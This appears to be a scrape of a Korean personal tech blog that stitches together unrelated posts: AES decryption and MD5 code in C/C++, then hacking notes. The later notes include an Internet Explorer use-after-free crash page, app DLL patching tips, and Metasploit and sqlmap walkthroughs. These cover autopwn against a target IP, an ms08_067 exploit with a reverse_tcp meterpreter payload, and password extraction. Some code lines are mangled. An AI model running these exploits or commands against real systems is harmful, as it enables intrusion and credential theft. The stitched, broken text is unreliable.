for(i=0;i<Nk;i++)
{
RoundKey[i*4]=Key[i*4];
RoundKey[i*4+1]=Key[i*4+1];
RoundKey[i*4+2]=Key[i*4+2];
RoundKey[i*4+3]=Key[i*4+3];
}
// All other round keys are found from the previous round keys.
while (i < (Nb * (Nr+1)))
{
for(j=0;j<4;j++)
{
temp[j]=RoundKey[(i-1) * 4 + j];
}
if (i % Nk == 0)
{
// This function rotates the 4 bytes in a word to the left once.
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
// Function RotWord()
{
k = temp[0];
temp[0] = temp[1];
temp[1] = temp[2];
temp[2] = temp[3];
temp[3] = k;
}
// SubWord() is a function that takes a four-byte input word and
// applies the S-box to each of the four bytes to produce an output word.
// Function Subword()
{
temp[0]=getSBoxValue(temp[0]);
temp[1]=getSBoxValue(temp[1]);
temp[2]=getSBoxValue(temp[2]);
temp[3]=getSBoxValue(temp[3]);
}
temp[0] = temp[0] ^ Rcon[i/Nk];
}
else if (Nk > 6 && i % Nk == 4)
{
// Function Subword()
{
temp[0]=getSBoxValue(temp[0]);
temp[1]=getSBoxValue(temp[1]);
temp[2]=getSBoxValue(temp[2]);
temp[3]=getSBoxValue(temp[3]);
}
}
RoundKey[i*4+0] = RoundKey[(i-Nk)*4+0] ^ temp[0];
RoundKey[i*4+1] = RoundKey[(i-Nk)*4+1] ^ temp[1];
RoundKey[i*4+2] = RoundKey[(i-Nk)*4+2] ^ temp[2];
RoundKey[i*4+3] = RoundKey[(i-Nk)*4+3] ^ temp[3];
i++;
}
}
// This function adds the round key to state.
// The round key is added to the state by an XOR function.
void AddRoundKey(int round)
{
int i,j;
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[j][i] ^= RoundKey[round * Nb * 4 + i * Nb + j];
}
}
}
// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
void InvSubBytes()
{
int i,j;
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[i][j] = getSBoxInvert(state[i][j]);
}
}
}
// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
void InvShiftRows()
{
unsigned char temp;
// Rotate first row 1 columns to right
temp=state[1][3];
state[1][3]=state[1][2];
state[1][2]=state[1][1];
state[1][1]=state[1][0];
state[1][0]=temp;
// Rotate second row 2 columns to right
temp=state[2][0];
state[2][0]=state[2][2];
state[2][2]=temp;
temp=state[2][1];
state[2][1]=state[2][3];
state[2][3]=temp;
// Rotate third row 3 columns to right
temp=state[3][0];
state[3][0]=state[3][1];
state[3][1]=state[3][2];
state[3][2]=state[3][3];
state[3][3]=temp;
}
// xtime is a macro that finds the product of {02} and the argument to xtime modulo {1b}
#define xtime(x) ((x<<1) ^ (((x>>7) & 1) * 0x1b))
// Multiplty is a macro used to multiply numbers in the field GF(2^8)
#define Multiply(x,y) (((y & 1) * x) ^ ((y>>1 & 1) * xtime(x)) ^ ((y>>2 & 1) * xtime(xtime(x))) ^ ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))
// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
void InvMixColumns()
{
int i;
unsigned char a,b,c,d;
for(i=0;i<4;i++)
{
a = state[0][i];
b = state[1][i];
c = state[2][i];
d = state[3][i];
state[0][i] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
state[1][i] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[2][i] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[3][i] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
// InvCipher is the main function that decrypts the CipherText.
void InvCipher()
{
int i,j,round=0;
//Copy the input CipherText to state array.
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
state[j][i] = in[i*4 + j];
}
}
// Add the First round key to the state before starting the rounds.
AddRoundKey(Nr);
// There will be Nr rounds.
// The first Nr-1 rounds are identical.
// These Nr-1 rounds are executed in the loop below.
for(round=Nr-1;round>0;round--)
{
InvShiftRows();
InvSubBytes();
AddRoundKey(round);
InvMixColumns();
}
// The last round is given below.
// The MixColumns function is not here in the last round.
InvShiftRows();
InvSubBytes();
AddRoundKey(0);
// The decryption process is over.
// Copy the state array to output array.
for(i=0;i<4;i++)
{
for(j=0;j<4;j++)
{
out[i*4+j]=state[j][i];
}
}
}
int main()
{
int i;
// Recieve the length of key here.
while(Nr!=128 && Nr!=192 && Nr!=256)
{
printf("Enter the length of Key(128, 192 or 256 only): ");
scanf("%d",&Nr);
}
// Calculate Nk and Nr from the recieved value.
Nk = Nr / 32;
Nr = Nk + 6;
// Part 1 is for demonstrative purpose. The key and plaintext are given in the program itself.
// Part 1: ********************************************************
// The array temp stores the key.
// The array temp2 stores the plaintext.
unsigned char temp[32] = {0x00 ,0x01 ,0x02 ,0x03 ,0x04 ,0x05 ,0x06 ,0x07 ,0x08 ,0x09 ,0x0a ,0x0b ,0x0c ,0x0d ,0x0e ,0x0f};
unsigned char temp2[32]= {0x69 ,0xc4 ,0xe0 ,0xd8 ,0x6a ,0x7b ,0x04 ,0x30 ,0xd8 ,0xcd ,0xb7 ,0x80 ,0x70 ,0xb4 ,0xc5 ,0x5a};
// Copy the Key and CipherText
for(i=0;i<Nk*4;i++)
{
Key[i]=temp[i];
in[i]=temp2[i];
}
// *********************************************************
// Uncomment Part 2 if you need to read Key and CipherText from the keyboard.
// Part 2: ********************************************************
/*
//Clear the input buffer
flushall();
//Recieve the Key from the user
printf("Enter the Key in hexadecimal: ");
for(i=0;i<Nk*4;i++)
{
scanf("%x",&Key[i]);
}
printf("Enter the CipherText in hexadecimal: ");
for(i=0;i<Nb*4;i++)
{
scanf("%x",&in[i]);
}
*/
// ********************************************************
//The Key-Expansion routine must be called before the decryption routine.
KeyExpansion();
// The next function call decrypts the CipherText with the Key using AES algorithm.
InvCipher();
// Output the decrypted text.
printf("nText after decryption:n");
for(i=0;i<Nb*4;i++)
{
printf("%02x ",out[i]);
}
printf("nn");
}[C++] Base64 encoding
[C++] md5 해시 만들기
원래 해더 파일이 분리되어있는데, include 로 안 되서 걍 붙여 넣어 버렸다.
CString md5hash;
char sseed[100];
strRes="문자열";
sprintf( sseed, "%s", strRes);
md5hash=md5((LPSTR)(LPCSTR)sseed);
특정 문자열과 조합된 char 형태를 cstring 으로 해서 넣으면 cstring 타입으로 리턴 값을 얻을 수 있다.
#ifndef md5_INCLUDED
# define md5_INCLUDED
/*
* This package supports both compile-time and run-time determination of CPU
* byte order. If ARCH_IS_BIG_ENDIAN is defined as 0, the code will be
* compiled to run only on little-endian CPUs; if ARCH_IS_BIG_ENDIAN is
* defined as non-zero, the code will be compiled to run only on big-endian
* CPUs; if ARCH_IS_BIG_ENDIAN is not defined, the code will be compiled to
* run on either big- or little-endian CPUs, but will run slightly less
* efficiently on either one than if ARCH_IS_BIG_ENDIAN is defined.
*/
typedef unsigned char md5_byte_t; /* 8-bit byte */
typedef unsigned int md5_word_t; /* 32-bit word */
/* Define the state of the MD5 Algorithm. */
typedef struct md5_state_s {
md5_word_t count[2]; /* message length in bits, lsw first */
md5_word_t abcd[4]; /* digest buffer */
md5_byte_t buf[64]; /* accumulate block */
} md5_state_t;
#ifdef __cplusplus
extern "C"
{
#endif
/* Initialize the algorithm. */
void md5_init(md5_state_t *pms);
/* Append a string to the message. */
void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes);
/* Finish the message and return the digest. */
void md5_finish(md5_state_t *pms, md5_byte_t digest[16]);
#ifdef __cplusplus
} /* end extern "C" */
#endif
#endif /* md5_INCLUDED */
#undef BYTE_ORDER /* 1 = big-endian, -1 = little-endian, 0 = unknown */
#ifdef ARCH_IS_BIG_ENDIAN
# define BYTE_ORDER (ARCH_IS_BIG_ENDIAN ? 1 : -1)
#else
# define BYTE_ORDER 0
#endif
#define T_MASK ((md5_word_t)~0)
#define T1 /* 0xd76aa478 */ (T_MASK ^ 0x28955b87)
#define T2 /* 0xe8c7b756 */ (T_MASK ^ 0x173848a9)
#define T3 0x242070db
#define T4 /* 0xc1bdceee */ (T_MASK ^ 0x3e423111)
#define T5 /* 0xf57c0faf */ (T_MASK ^ 0x0a83f050)
#define T6 0x4787c62a
#define T7 /* 0xa8304613 */ (T_MASK ^ 0x57cfb9ec)
#define T8 /* 0xfd469501 */ (T_MASK ^ 0x02b96afe)
#define T9 0x698098d8
#define T10 /* 0x8b44f7af */ (T_MASK ^ 0x74bb0850)
#define T11 /* 0xffff5bb1 */ (T_MASK ^ 0x0000a44e)
#define T12 /* 0x895cd7be */ (T_MASK ^ 0x76a32841)
#define T13 0x6b901122
#define T14 /* 0xfd987193 */ (T_MASK ^ 0x02678e6c)
#define T15 /* 0xa679438e */ (T_MASK ^ 0x5986bc71)
#define T16 0x49b40821
#define T17 /* 0xf61e2562 */ (T_MASK ^ 0x09e1da9d)
#define T18 /* 0xc040b340 */ (T_MASK ^ 0x3fbf4cbf)
#define T19 0x265e5a51
#define T20 /* 0xe9b6c7aa */ (T_MASK ^ 0x16493855)
#define T21 /* 0xd62f105d */ (T_MASK ^ 0x29d0efa2)
#define T22 0x02441453
#define T23 /* 0xd8a1e681 */ (T_MASK ^ 0x275e197e)
#define T24 /* 0xe7d3fbc8 */ (T_MASK ^ 0x182c0437)
#define T25 0x21e1cde6
#define T26 /* 0xc33707d6 */ (T_MASK ^ 0x3cc8f829)
#define T27 /* 0xf4d50d87 */ (T_MASK ^ 0x0b2af278)
#define T28 0x455a14ed
#define T29 /* 0xa9e3e905 */ (T_MASK ^ 0x561c16fa)
#define T30 /* 0xfcefa3f8 */ (T_MASK ^ 0x03105c07)
#define T31 0x676f02d9
#define T32 /* 0x8d2a4c8a */ (T_MASK ^ 0x72d5b375)
#define T33 /* 0xfffa3942 */ (T_MASK ^ 0x0005c6bd)
#define T34 /* 0x8771f681 */ (T_MASK ^ 0x788e097e)
#define T35 0x6d9d6122
#define T36 /* 0xfde5380c */ (T_MASK ^ 0x021ac7f3)
#define T37 /* 0xa4beea44 */ (T_MASK ^ 0x5b4115bb)
#define T38 0x4bdecfa9
#define T39 /* 0xf6bb4b60 */ (T_MASK ^ 0x0944b49f)
#define T40 /* 0xbebfbc70 */ (T_MASK ^ 0x4140438f)
#define T41 0x289b7ec6
#define T42 /* 0xeaa127fa */ (T_MASK ^ 0x155ed805)
#define T43 /* 0xd4ef3085 */ (T_MASK ^ 0x2b10cf7a)
#define T44 0x04881d05
#define T45 /* 0xd9d4d039 */ (T_MASK ^ 0x262b2fc6)
#define T46 /* 0xe6db99e5 */ (T_MASK ^ 0x1924661a)
#define T47 0x1fa27cf8
#define T48 /* 0xc4ac5665 */ (T_MASK ^ 0x3b53a99a)
#define T49 /* 0xf4292244 */ (T_MASK ^ 0x0bd6ddbb)
#define T50 0x432aff97
#define T51 /* 0xab9423a7 */ (T_MASK ^ 0x546bdc58)
#define T52 /* 0xfc93a039 */ (T_MASK ^ 0x036c5fc6)
#define T53 0x655b59c3
#define T54 /* 0x8f0ccc92 */ (T_MASK ^ 0x70f3336d)
#define T55 /* 0xffeff47d */ (T_MASK ^ 0x00100b82)
#define T56 /* 0x85845dd1 */ (T_MASK ^ 0x7a7ba22e)
#define T57 0x6fa87e4f
#define T58 /* 0xfe2ce6e0 */ (T_MASK ^ 0x01d3191f)
#define T59 /* 0xa3014314 */ (T_MASK ^ 0x5cfebceb)
#define T60 0x4e0811a1
#define T61 /* 0xf7537e82 */ (T_MASK ^ 0x08ac817d)
#define T62 /* 0xbd3af235 */ (T_MASK ^ 0x42c50dca)
#define T63 0x2ad7d2bb
#define T64 /* 0xeb86d391 */ (T_MASK ^ 0x14792c6e)
static void md5_process(md5_state_t *pms, const md5_byte_t *data /*[64]*/){
md5_word_t
a = pms->abcd[0], b = pms->abcd[1],
c = pms->abcd[2], d = pms->abcd[3];
md5_word_t t;
#if BYTE_ORDER > 0
/* Define storage only for big-endian CPUs. */
md5_word_t X[16];
#else
/* Define storage for little-endian or both types of CPUs. */
md5_word_t xbuf[16];
const md5_word_t *X;
#endif
{
#if BYTE_ORDER == 0
/*
* Determine dynamically whether this is a big-endian or
* little-endian machine, since we can use a more efficient
* algorithm on the latter.
*/
static const int w = 1;
if (*((const md5_byte_t *)&w)) /* dynamic little-endian */
#endif
#if BYTE_ORDER <= 0 /* little-endian */
{
/*
* On little-endian machines, we can process properly aligned
* data without copying it.
*/
if (!((data - (const md5_byte_t *)0) & 3)) {
/* data are properly aligned */
X = (const md5_word_t *)data;
} else {
/* not aligned */
memcpy(xbuf, data, 64);
X = xbuf;
}
}
#endif
#if BYTE_ORDER == 0
else /* dynamic big-endian */
#endif
#if BYTE_ORDER >= 0 /* big-endian */
{
/*
* On big-endian machines, we must arrange the bytes in the
* right order.
*/
const md5_byte_t *xp = data;
int i;
# if BYTE_ORDER == 0
X = xbuf; /* (dynamic only) */
# else
# define xbuf X /* (static only) */
# endif
for (i = 0; i < 16; ++i, xp += 4)
xbuf[i] = xp[0] + (xp[1] << 8) + (xp[2] << 16) + (xp[3] << 24);
}
#endif
}
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
/* Round 1. */
/* Let [abcd k s i] denote the operation
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
#define F(x, y, z) (((x) & (y)) | (~(x) & (z)))
#define SET(a, b, c, d, k, s, Ti)
t = a + F(b,c,d) + X[k] + Ti;
a = ROTATE_LEFT(t, s) + b
/* Do the following 16 operations. */
SET(a, b, c, d, 0, 7, T1);
SET(d, a, b, c, 1, 12, T2);
SET(c, d, a, b, 2, 17, T3);
SET(b, c, d, a, 3, 22, T4);
SET(a, b, c, d, 4, 7, T5);
SET(d, a, b, c, 5, 12, T6);
SET(c, d, a, b, 6, 17, T7);
SET(b, c, d, a, 7, 22, T8);
SET(a, b, c, d, 8, 7, T9);
SET(d, a, b, c, 9, 12, T10);
SET(c, d, a, b, 10, 17, T11);
SET(b, c, d, a, 11, 22, T12);
SET(a, b, c, d, 12, 7, T13);
SET(d, a, b, c, 13, 12, T14);
SET(c, d, a, b, 14, 17, T15);
SET(b, c, d, a, 15, 22, T16);
#undef SET
/* Round 2. */
/* Let [abcd k s i] denote the operation
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
#define G(x, y, z) (((x) & (z)) | ((y) & ~(z)))
#define SET(a, b, c, d, k, s, Ti)
t = a + G(b,c,d) + X[k] + Ti;
a = ROTATE_LEFT(t, s) + b
/* Do the following 16 operations. */
SET(a, b, c, d, 1, 5, T17);
SET(d, a, b, c, 6, 9, T18);
SET(c, d, a, b, 11, 14, T19);
SET(b, c, d, a, 0, 20, T20);
SET(a, b, c, d, 5, 5, T21);
SET(d, a, b, c, 10, 9, T22);
SET(c, d, a, b, 15, 14, T23);
SET(b, c, d, a, 4, 20, T24);
SET(a, b, c, d, 9, 5, T25);
SET(d, a, b, c, 14, 9, T26);
SET(c, d, a, b, 3, 14, T27);
SET(b, c, d, a, 8, 20, T28);
SET(a, b, c, d, 13, 5, T29);
SET(d, a, b, c, 2, 9, T30);
SET(c, d, a, b, 7, 14, T31);
SET(b, c, d, a, 12, 20, T32);
#undef SET
/* Round 3. */
/* Let [abcd k s t] denote the operation
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define SET(a, b, c, d, k, s, Ti)
t = a + H(b,c,d) + X[k] + Ti;
a = ROTATE_LEFT(t, s) + b
/* Do the following 16 operations. */
SET(a, b, c, d, 5, 4, T33);
SET(d, a, b, c, 8, 11, T34);
SET(c, d, a, b, 11, 16, T35);
SET(b, c, d, a, 14, 23, T36);
SET(a, b, c, d, 1, 4, T37);
SET(d, a, b, c, 4, 11, T38);
SET(c, d, a, b, 7, 16, T39);
SET(b, c, d, a, 10, 23, T40);
SET(a, b, c, d, 13, 4, T41);
SET(d, a, b, c, 0, 11, T42);
SET(c, d, a, b, 3, 16, T43);
SET(b, c, d, a, 6, 23, T44);
SET(a, b, c, d, 9, 4, T45);
SET(d, a, b, c, 12, 11, T46);
SET(c, d, a, b, 15, 16, T47);
SET(b, c, d, a, 2, 23, T48);
#undef SET
/* Round 4. */
/* Let [abcd k s t] denote the operation
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
#define I(x, y, z) ((y) ^ ((x) | ~(z)))
#define SET(a, b, c, d, k, s, Ti)
t = a + I(b,c,d) + X[k] + Ti;
a = ROTATE_LEFT(t, s) + b
/* Do the following 16 operations. */
SET(a, b, c, d, 0, 6, T49);
SET(d, a, b, c, 7, 10, T50);
SET(c, d, a, b, 14, 15, T51);
SET(b, c, d, a, 5, 21, T52);
SET(a, b, c, d, 12, 6, T53);
SET(d, a, b, c, 3, 10, T54);
SET(c, d, a, b, 10, 15, T55);
SET(b, c, d, a, 1, 21, T56);
SET(a, b, c, d, 8, 6, T57);
SET(d, a, b, c, 15, 10, T58);
SET(c, d, a, b, 6, 15, T59);
SET(b, c, d, a, 13, 21, T60);
SET(a, b, c, d, 4, 6, T61);
SET(d, a, b, c, 11, 10, T62);
SET(c, d, a, b, 2, 15, T63);
SET(b, c, d, a, 9, 21, T64);
#undef SET
/* Then perform the following additions. (That is increment each
of the four registers by the value it had before this block
was started.) */
pms->abcd[0] += a;
pms->abcd[1] += b;
pms->abcd[2] += c;
pms->abcd[3] += d;
}
void md5_init(md5_state_t *pms)
{
pms->count[0] = pms->count[1] = 0;
pms->abcd[0] = 0x67452301;
pms->abcd[1] = /*0xefcdab89*/ T_MASK ^ 0x10325476;
pms->abcd[2] = /*0x98badcfe*/ T_MASK ^ 0x67452301;
pms->abcd[3] = 0x10325476;
}
void md5_append(md5_state_t *pms, const md5_byte_t *data, int nbytes){
const md5_byte_t *p = data;
int left = nbytes;
int offset = (pms->count[0] >> 3) & 63;
md5_word_t nbits = (md5_word_t)(nbytes << 3);
if (nbytes <= 0)
return;
/* Update the message length. */
pms->count[1] += nbytes >> 29;
pms->count[0] += nbits;
if (pms->count[0] < nbits)
pms->count[1]++;
/* Process an initial partial block. */
if (offset) {
int copy = (offset + nbytes > 64 ? 64 - offset : nbytes);
memcpy(pms->buf + offset, p, copy);
if (offset + copy < 64)
return;
p += copy;
left -= copy;
md5_process(pms, pms->buf);
}
/* Process full blocks. */
for (; left >= 64; p += 64, left -= 64)
md5_process(pms, p);
/* Process a final partial block. */
if (left)
memcpy(pms->buf, p, left);
}
void md5_finish(md5_state_t *pms, md5_byte_t digest[16]){
static const md5_byte_t pad[64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
md5_byte_t data[8];
int i;
/* Save the length before padding. */
for (i = 0; i < 8; ++i)
data[i] = (md5_byte_t)(pms->count[i >> 2] >> ((i & 3) << 3));
/* Pad to 56 bytes mod 64. */
md5_append(pms, pad, ((55 - (pms->count[0] >> 3)) & 63) + 1);
/* Append the length. */
md5_append(pms, data, 8);
for (i = 0; i < 16; ++i)
digest[i] = (md5_byte_t)(pms->abcd[i >> 2] >> ((i & 3) << 3));
}
CString md5(const CString strMd5)
{
md5_state_t state;
md5_byte_t digest[16];
char hex_output[16*2 + 1];
int di;
md5_init(&state);
md5_append(&state, (const md5_byte_t *)(LPSTR)(LPCSTR)strMd5, strMd5.GetLength());
md5_finish(&state, digest);
for (di = 0; di < 16; ++di)
sprintf(hex_output + di * 2, "%02x", digest[di]);
return hex_output;
}
[C#] dll 변조
C#으로 된 dll은 reflector로 decompile 한 코드를 확인하고,
IDA 로 HEX 위치를 확인해,
ULTRA EDIT로 편집해 변조(패치) 가능하다.
C# DLL이 포함된 모바일 앱(안드로이드 apk)의 경우 이런 식으로 가공하면, 설치 후 사용할 수 있다..
[XSS] 익스플로러 취약점을 이용한 클라이언트 공격
Post-mortem Analysis of a Use-After-Free Vulnerability (CVE-2011-1260)
로 제목이 되어있고, http://www.exploit-monday.com/2011/07/post-mortem-analysis-of-use-after-free_07.html
에 소개되어 있다.
<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>
위 코드가 있는 페이지에 접속하면 ie에 오류를 일으킬 수 있고, 영문 XP pro 에서는 다운까지 시킬 수 있다고 한다.
이거 말고도, 쉘 탈취도 있는데, http://vimeo.com/10171900
동영상을 참고할 수 있다.
XSS 가 세션, 쿠키 탈취, CSRF 정도만 되는 줄 알았는데, 쉘탈취 까지 될 줄이야....
smali <-> java
위 사이트를 참고 하면 된다.
https://code.google.com/p/smali/downloads/detail?name=baksmali-1.4.0.jar&can=4&q=
baksmali 를 받고,
> java -jar baksmali-1.4.0.jar classes.dex
하면, out 디렉터리에 smali 코드가 나온다.
다시 dex로 만들 땐 아래와 같이 한다.
> java -jar smali-1.4.0.jar out
음.
[backtrack] ms10_065_ii6_asp_dos
iis 6.0 취약점을 이용한 공격
<%
Dim variable
variable = Request.Form("FOOBAR")
%
위와 같이 변수 받는 내용이 있는 페이지여야 하며, 아래와 같이 RHOST와 URI 설정 후 run을 한다.
URI default 값은 page.asp 이다.
Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065) 를 참고했다.
[backtrack] autopwn 을 이용한 자동 공격
backtrack 4를 설치하거나, image를 받아서 실행시킨다.
backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,
# /etc/init.d/networking start
자동으로 실행시키려면, .bash_profile에 등록 한다.
# vi /root/.bash_profile
/etc/init.d/networking start
이젠 autopwn을 사용할 차례다.
# msfconsole
msf > db_status
[*] postgresql selected, no connection
라고 나온다.
그러면, 사용할 수 있는 db를 알아보기 위해
msf > db_driver
[*] Active Driver: postgresql
[*] Available: postgresql, mysql, sqlite3
mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.
msf > db_driver sqlite3
[*] Using database driver sqlite3
msf > db_create client
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: client
msf > db_status
[*] sqlite3 connected to client
위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.
msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT
Nmap scan report for xxx.xxx.xxx.xxx
Host is up (0.015s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)
111/tcp open rpcbind 2 (rpc #100000)
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
1723/tcp filtered pptp
2869/tcp filtered icslap
3306/tcp open mysql MySQL (unauthorized)
4444/tcp filtered krb524
Device type: general purpose
Running: Apple Mac OS X 10.5.X
OS details: Apple Mac OS X 10.5.5 (Leopard)
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds
msf > db_autopwn -p -e -t
[*] Analysis completed in 9 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] xxx.xxx.xxx.xxx:111 exploit/netware/sunrpc/pkernel_callit (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/oscommerce_filemanager (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/lotus/domino_http_accept_language (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/iis/ms02_018_htr (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/unix/webapp/base_qry_common (port match)
[*] xxx.xxx.xxx.xxx:80 exploit/windows/http/trendmicro_officescan (port match)
음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.
http://www.youtube.com/watch?v=VXmE0QycUd8
나머지는 동영상을 참조 한다.
성공하면 아래와 같이 콘솔로 접근할 수 있다.
sessions -l
session -i 1
meterpreter > execute -f cmd.exe -H -i
c:WINDOWSsystem32>
[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1¶m=2" -v 1 --current-user --password
를 입력해 error based 공격으로 id를 알아낸다.
파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.
id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.
[backtrack] 무작위 공격 툴 medusa 사용법
[backtrack] msrpc 135 파일 및 프린터 공유 취약점
[backtrack] netbios 바인딩 microsoft-ds 445 취약점
msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140 RHOST => 10.211.55.140 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
msf exploit(ms08_067_netapi) > exploit
[Webdav] pearl로 취약성 테스트 하기
[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기
[FACEBOOK] 앱 만들기1
[MAC LION] launchpad 아이콘 삭제
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